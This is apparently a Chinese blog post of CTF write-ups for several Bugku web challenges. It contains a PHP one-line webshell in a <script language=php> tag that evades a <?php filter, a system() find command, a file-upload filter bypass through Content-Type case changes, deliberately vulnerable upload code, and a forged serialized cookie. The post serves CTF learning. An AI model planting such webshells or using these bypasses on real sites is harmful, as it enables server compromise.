bugku3

web34

提示说是文件包含漏洞,果然是,遍历了一次目录,没有什么收获,用御剑扫了一下,发现有一个文件上传的后台,上传一句话木马,发现被过滤了<?php ?> 想想有没有替代方式,突然想起来之前好像有个帖子说可以不用
<?php

1
<scrpit language=php>xxxxxxxx</script>

构造一句话木马:

1
<script language="php">@eval($_POST['cmd'])</script>

但是蚁剑连接一直报错
转换方法:使用system指令直接查找

1
<script language=php>system("find / -name flag*");</script>
img

然后file/flag 就可以获得flag

web32

这是文件上传题,过滤了php文件包括其他文件
这里复习一下几个绕过吧:

00截断:不行,最终的文件名是不可控的,它会自动加上.jpg
使用其他后缀进行绕过,例如php4,并修改Content-Type,也就是修改MIME,但是还是不行,查了一下说是上面也有一处Content-Type: multipart,后面multipart有的字母改大写,但是不是很理解为什么
img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<html>
<body>
<?php
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){
$type = $_SERVER["CONTENT_TYPE"];
if (strpos($type,"multipart/form-data") !== False){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);
if (stripos($file_ext,"php") !== False){
die("Invalid File<br />");
}
}
}
?>


<?php

global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
if ($_FILES["file"]["error"] == 0){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);
$allowexts = array('jpg','gif','jpeg','bmp','php4');
if(!in_array($file_ext,$allowexts)){
die("give me a image file not a php");
}
$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;

if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. <br />";
}
else{
if (!file_exists('./upload/')){
mkdir ("./upload/");
system("chmod 777 /var/www/html/upload");
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "Upload Success<br>";
$filepath = "upload/" . $_FILES["file"]["name"];
echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
}
}
}
else{
if($_FILES["file"]["size"] > 0){
echo "You was catched! :) <br />";
}
}
?>
</body>
</html>


收获:看了源码,原来,这题他就是故意要在那边弄一个判断,strpos区分大小写,所以multipart/form-data更改大小写就可以绕过了,你没改有的大小写,你就无法上传成功,感觉蛮无语的,就是让我们猜嘛,猜对就对了,算是收获了:不要把思维仅仅局限在过往的任何一个知识点上,任何地方可能都存在过滤,然后这题还是白名单,合着就是让我们猜php4==

web33

写解密算法

web31

扫描后台,得到一个robots.txt,打开后
得到
img

然后打开那个php 说我不是管理员,然后下面说要get x,我就让x=admin试试,就可以了。。。
跟学长小小吐槽了一下其中的莫名其妙后,发现果然还是自己太年轻,其实其中逻辑性推理性还挺强的,这题
首先他说你不是管理员,然后下面说get的x==password,这个时候其实我们会想,什么x会等于password啊,题目说我们不是管理员,就是在暗示我们password可能=admin,这其实考察的也是弱密码,所以也没什么地方值得无语的。

web35

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['25112'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")//这个unserialize是反序列化
{
echo "$flag";
}
else {
?>

在小角落找到一个 try ?25112,得到以上代码,让我们一起康康:
他说存在flag.php,但是打开什么也没有再往下看,他说get一个值,就是25112,
然后再将cookie反序列化===key,那么我们这里就将ctf.bugku.com序列化试试
得到s:13:"ctf.bugku.com";
然后回到开始页面,burpsuit抓包,让cookie那一栏的值为 BUGKU=s:13:”ctf.bugku.com” 即可
要成为一个好的ctfer 眼神也是要好啊,不然这个 try ?25112真滴没找到

Author

vague huang

Posted on

2021-01-31

Updated on

2021-02-09

Licensed under

Comments